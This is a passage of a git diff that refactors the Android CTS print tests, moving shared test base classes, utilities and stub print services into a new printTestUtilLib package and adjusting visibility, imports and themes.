- void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
+ protected void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
try {
UiDevice uiDevice = getUiDevice();
UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
@@ -651,7 +692,7 @@
}
}
- void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
+ protected void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
try {
UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/copies_edittext"));
@@ -673,11 +714,11 @@
}
}
- void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
+ protected void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
assertFalse(getUiDevice().hasObject(By.res("com.android.printspooler:id/print_button")));
}
- void clickPrintButton() throws UiObjectNotFoundException, IOException {
+ public void clickPrintButton() throws UiObjectNotFoundException, IOException {
try {
UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/print_button"));
@@ -688,7 +729,7 @@
}
}
- void clickRetryButton() throws UiObjectNotFoundException, IOException {
+ protected void clickRetryButton() throws UiObjectNotFoundException, IOException {
try {
UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/action_button"));
@@ -699,7 +740,7 @@
}
}
- void dumpWindowHierarchy() throws IOException {
+ public void dumpWindowHierarchy() throws IOException {
ByteArrayOutputStream os = new ByteArrayOutputStream();
getUiDevice().dumpWindowHierarchy(os);
@@ -713,7 +754,7 @@
return mActivity;
}
- protected void createActivity() {
+ protected void createActivity() throws IOException {
Log.d(LOG_TAG, "createActivity()");
int createBefore = getActivityCreateCallbackCallCount();
@@ -722,6 +763,10 @@
intent.putExtra(TEST_ID, mTestId);
Instrumentation instrumentation = getInstrumentation();
+
+ // Unlock screen.
+ SystemUtil.runShellCommand(instrumentation, "input keyevent KEYCODE_WAKEUP");
+
intent.setClassName(instrumentation.getTargetContext().getPackageName(),
PrintDocumentActivity.class.getName());
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -730,21 +775,21 @@
waitForActivityCreateCallbackCalled(createBefore + 1);
}
- void openPrintOptions() throws UiObjectNotFoundException {
+ protected void openPrintOptions() throws UiObjectNotFoundException {
UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/expand_collapse_handle"));
expandHandle.click();
}
- void openCustomPrintOptions() throws UiObjectNotFoundException {
+ protected void openCustomPrintOptions() throws UiObjectNotFoundException {
UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/more_options_button"));
expandHandle.click();
}
- static void clearPrintSpoolerData() throws Exception {
+ protected static void clearPrintSpoolerData() throws Exception {
if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_PRINTING)) {
+ PackageManager.FEATURE_PRINTING)) {
assertTrue("failed to clear print spooler data",
SystemUtil.runShellCommand(getInstrumentation(), String.format(
"pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
@@ -752,7 +797,7 @@
}
}
- void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
+ protected void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
PrintAttributes oldAttributes, PrintAttributes newAttributes,
final boolean forPreview) {
inOrder.verify(mock).onLayout(eq(oldAttributes), eq(newAttributes),
@@ -772,7 +817,7 @@
}));
}
- PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
+ protected PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
Answer<Void> writeAnswer, Answer<Void> finishAnswer) {
// Create a mock print adapter.
PrintDocumentAdapter adapter = mock(PrintDocumentAdapter.class);
@@ -797,15 +842,15 @@
*
* @return The mock adapter
*/
- @NonNull PrintDocumentAdapter createDefaultPrintDocumentAdapter(int numPages) {
+ public @NonNull PrintDocumentAdapter createDefaultPrintDocumentAdapter(int numPages) {
final PrintAttributes[] printAttributes = new PrintAttributes[1];
return createMockPrintDocumentAdapter(
invocation -> {
PrintAttributes oldAttributes = (PrintAttributes) invocation.getArguments()[0];
printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
- PrintDocumentAdapter.LayoutResultCallback callback =
- (PrintDocumentAdapter.LayoutResultCallback) invocation
+ LayoutResultCallback callback =
+ (LayoutResultCallback) invocation
.getArguments()[3];
callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
@@ -820,8 +865,8 @@
Object[] args = invocation.getArguments();
PageRange[] pages = (PageRange[]) args[0];
ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
- PrintDocumentAdapter.WriteResultCallback callback =
- (PrintDocumentAdapter.WriteResultCallback) args[3];
+ WriteResultCallback callback =
+ (WriteResultCallback) args[3];
writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
fd.close();
@@ -982,7 +1027,7 @@
* @param adapter The {@link PrintDocumentAdapter} used
* @throws Exception If the printer could not be made default
*/
- void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
+ public void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
throws Exception {
// Perform a full print operation on the printer
Log.d(LOG_TAG, "print");
@@ -1013,7 +1058,7 @@
*
* @throws Exception If anything is unexpected
*/
- String[] getPrintSpoolerStringArray(String resourceName) throws Exception {
+ protected String[] getPrintSpoolerStringArray(String resourceName) throws Exception {
PackageManager pm = getActivity().getPackageManager();
Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
int id = printSpoolerRes.getIdentifier(resourceName, "array", PRINTSPOOLER_PACKAGE);
@@ -1028,7 +1073,7 @@
*
* @throws Exception If anything is unexpected
*/
- String getPrintSpoolerString(String resourceName) throws Exception {
+ private String getPrintSpoolerString(String resourceName) throws Exception {
PackageManager pm = getActivity().getPackageManager();
Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
@@ -1043,7 +1088,7 @@
*
* @throws Exception If anything is unexpected
*/
- String getPrintSpoolerStringOneParam(String resourceName, Object p)
+ protected String getPrintSpoolerStringOneParam(String resourceName, Object p)
throws Exception {
PackageManager pm = getActivity().getPackageManager();
Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
@@ -1058,7 +1103,7 @@
*
* @throws Exception If anything is unexpected
*/
- PrintAttributes.MediaSize getDefaultMediaSize() throws Exception {
+ protected PrintAttributes.MediaSize getDefaultMediaSize() throws Exception {
PackageManager pm = getActivity().getPackageManager();
Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
int defaultMediaSizeResId = printSpoolerRes.getIdentifier("mediasize_default", "string",
@@ -1082,19 +1127,19 @@
*/
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
- @interface NoActivity { }
+ protected @interface NoActivity { }
/**
* Rule that handles the {@link NoActivity} annotation.
*/
private static class ShouldStartActivity implements TestRule {
- boolean noActivity;
+ boolean mNoActivity;
@Override
public Statement apply(Statement base, org.junit.runner.Description description) {
for (Annotation annotation : description.getAnnotations()) {
if (annotation instanceof NoActivity) {
- noActivity = true;
+ mNoActivity = true;
break;
}
}
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java
similarity index 87%
rename from tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java
index c3e6e96..cfb644f 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/PrintDocumentActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts;
+package android.print.test;
import android.app.Activity;
import android.app.KeyguardManager;
@@ -42,6 +42,12 @@
}
BasePrintTest.onActivityCreateCalled(mTestId, this);
+
+ if (savedInstanceState != null) {
+ Log.d(LOG_TAG,
+ "We cannot deal with lifecycle. Hence finishing " + this + " for " + mTestId);
+ finish();
+ }
}
@Override
diff --git a/tests/tests/print/src/android/print/cts/Utils.java b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
similarity index 92%
rename from tests/tests/print/src/android/print/cts/Utils.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
index 93f5632..dbc6644 100644
--- a/tests/tests/print/src/android/print/cts/Utils.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/Utils.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2014 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts;
+package android.print.test;
import android.content.Context;
import android.os.Handler;
@@ -68,7 +68,7 @@
*
* @throws Throwable If the {@link Runnable} caused an issue
*/
- static void runOnMainThread(@NonNull final Invokable r) throws Throwable {
+ public static void runOnMainThread(@NonNull final Invokable r) throws Throwable {
final Object synchronizer = new Object();
final Throwable[] thrown = new Throwable[1];
@@ -128,7 +128,7 @@
*
* @throws Exception If print job could not be found
*/
- static @NonNull PrintJob getPrintJob(@NonNull PrintManager pm, @NonNull String name)
+ public static @NonNull PrintJob getPrintJob(@NonNull PrintManager pm, @NonNull String name)
throws Exception {
for (android.print.PrintJob job : pm.getPrintJobs()) {
if (job.getInfo().getLabel().equals(name)) {
@@ -142,7 +142,7 @@
/**
* @return The print manager
*/
- static @NonNull PrintManager getPrintManager(@NonNull Context context) {
+ public static @NonNull PrintManager getPrintManager(@NonNull Context context) {
return (PrintManager) context.getSystemService(Context.PRINT_SERVICE);
}
}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java
new file mode 100644
index 0000000..5e01d7c
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/AddPrintersActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+import java.util.ArrayList;
+
+public class AddPrintersActivity extends Activity {
+ private static final ArrayList<Runnable> sObservers = new ArrayList<>();
+
+ public static void addObserver(@NonNull Runnable observer) {
+ synchronized (sObservers) {
+ sObservers.add(observer);
+ }
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ synchronized (sObservers) {
+ for (Runnable sObserver : sObservers) {
+ sObserver.run();
+ }
+ }
+
+ finish();
+ }
+
+ public static void clearObservers() {
+ synchronized (sObservers) {
+ sObservers.clear();
+ }
+ }
+}
diff --git a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java
similarity index 98%
rename from tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java
index cf52ece..94993c7 100644
--- a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/CustomPrintOptionsActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
import android.app.Activity;
import android.content.Intent;
diff --git a/tests/tests/print/src/android/print/cts/services/FirstPrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java
similarity index 96%
rename from tests/tests/print/src/android/print/cts/services/FirstPrintService.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java
index a234de4..2c3a4ee 100644
--- a/tests/tests/print/src/android/print/cts/services/FirstPrintService.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/FirstPrintService.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
public class FirstPrintService extends StubbablePrintService {
diff --git a/tests/tests/print/src/android/print/cts/services/InfoActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java
similarity index 61%
rename from tests/tests/print/src/android/print/cts/services/InfoActivity.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java
index 22c1bb5..627fec9 100644
--- a/tests/tests/print/src/android/print/cts/services/InfoActivity.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/InfoActivity.java
@@ -1,26 +1,25 @@
/*
* Copyright (C) 2016 The Android Open Source Project
*
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
*
- * http://www.apache.org/licenses/LICENSE-2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
*
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
import android.app.Activity;
import android.os.Bundle;
import java.util.ArrayList;
-import java.util.Observable;
public class InfoActivity extends Activity {
public interface Observer {
diff --git a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java
similarity index 96%
rename from tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java
index 749e8a9..d2d42f2 100644
--- a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
import android.printservice.PrintJob;
diff --git a/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java
similarity index 97%
rename from tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java
index ebddda1..7b7a1b9 100644
--- a/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
import android.os.CancellationSignal;
import android.print.PrinterId;
diff --git a/tests/tests/print/src/android/print/cts/services/SecondPrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java
similarity index 96%
rename from tests/tests/print/src/android/print/cts/services/SecondPrintService.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java
index 1029a8e..3e8a6a7 100644
--- a/tests/tests/print/src/android/print/cts/services/SecondPrintService.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
public class SecondPrintService extends StubbablePrintService {
diff --git a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java
similarity index 95%
rename from tests/tests/print/src/android/print/cts/services/SettingsActivity.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java
index eb23574..56c63fa 100644
--- a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
import android.app.Activity;
import android.os.Bundle;
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java
similarity index 97%
rename from tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java
index 8c3b89b..09d1f78 100644
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
import android.content.Context;
import android.printservice.PrintJob;
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java
similarity index 98%
rename from tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
rename to tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java
index e0ec1c1..c9fb015 100644
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java
@@ -14,14 +14,14 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.print.test.services;
-import android.support.annotation.NonNull;
import android.os.CancellationSignal;
import android.print.PrinterId;
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintService;
import android.printservice.PrinterDiscoverySession;
+import android.support.annotation.NonNull;
import java.util.List;
diff --git a/tests/tests/print/res/values/themes.xml b/tests/tests/print/res/values/themes.xml
index f5c9b977..07e228c 100644
--- a/tests/tests/print/res/values/themes.xml
+++ b/tests/tests/print/res/values/themes.xml
@@ -17,7 +17,12 @@
-->
<resources>
- <style name="Theme.Translucent" parent="@android:style/Theme.DeviceDefault">
+ <style name="NoAnimationTranslucent" parent="@android:style/Theme.DeviceDefault">
<item name="android:windowIsTranslucent">true</item>
+ <item name="android:windowAnimationStyle">@null</item>
+ </style>
+
+ <style name="NoAnimation" parent="@android:style/Theme.DeviceDefault">
+ <item name="android:windowAnimationStyle">@null</item>
</style>
</resources>
diff --git a/tests/tests/print/res/xml/printservice.xml b/tests/tests/print/res/xml/printservice.xml
index 78c7504..07f7d6c 100644
--- a/tests/tests/print/res/xml/printservice.xml
+++ b/tests/tests/print/res/xml/printservice.xml
@@ -17,6 +17,6 @@
-->
<print-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:settingsActivity="android.print.cts.services.SettingsActivity"
- android:addPrintersActivity="android.print.cts.services.AddPrintersActivity"
- android:advancedPrintOptionsActivity="android.print.cts.services.CustomPrintOptionsActivity"/>
+ android:settingsActivity="android.print.test.services.SettingsActivity"
+ android:addPrintersActivity="android.print.test.services.AddPrintersActivity"
+ android:advancedPrintOptionsActivity="android.print.test.services.CustomPrintOptionsActivity"/>
diff --git a/tests/tests/print/src/android/print/cts/ClassParametersTest.java b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
index e0c41ea..a5e5d49 100644
--- a/tests/tests/print/src/android/print/cts/ClassParametersTest.java
+++ b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
@@ -16,17 +16,21 @@
package android.print.cts;
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import android.print.PrintAttributes;
import android.print.PrintAttributes.MediaSize;
import android.print.PrintAttributes.Resolution;
import android.print.PrintDocumentInfo;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
/**
* Test that the print attributes can be constructed correctly. This does not test that the
* attributes have the desired effect when send to the print framework.
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index eb9806e..3ea14f6 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -30,32 +32,29 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.CustomPrintOptionsActivity;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.CustomPrintOptionsActivity;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
import android.util.Log;
+
import org.junit.Before;
-import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.TimeoutException;
-import static android.print.cts.Utils.eventually;
-
/**
* This test verifies changes to the printer capabilities are applied correctly.
*/
diff --git a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
index 37eab57..da7e82d 100644
--- a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
+++ b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
@@ -16,6 +16,14 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.getPrintJob;
+import static android.print.test.Utils.getPrintManager;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import android.print.PrintAttributes;
import android.print.PrintDocumentAdapter;
import android.print.PrintJob;
@@ -23,23 +31,22 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.annotation.NonNull;
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
/**
* Test interface from the application to the print service.
*/
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
index f128bab..c4fd77e 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
@@ -36,12 +36,13 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
import android.print.pdf.PrintedPdfDocument;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
import android.support.annotation.NonNull;
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
index 0364624..c1abafc 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
@@ -16,7 +16,8 @@
package android.print.cts;
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Matchers.any;
import static org.mockito.Mockito.inOrder;
import static org.mockito.Mockito.never;
@@ -35,15 +36,16 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
-
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
index e6bc164..7661ff9 100644
--- a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static org.junit.Assert.assertEquals;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,15 +31,16 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
-
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -46,8 +49,6 @@
import java.util.Arrays;
import java.util.List;
-import static org.junit.Assert.*;
-
/**
* Test that the print attributes are correctly propagated through the print framework
*/
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index 38ba4dd..4851ba9 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -36,11 +36,12 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
import android.support.test.runner.AndroidJUnit4;
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
index a9d03c9..63e83e3 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
@@ -16,6 +16,11 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+
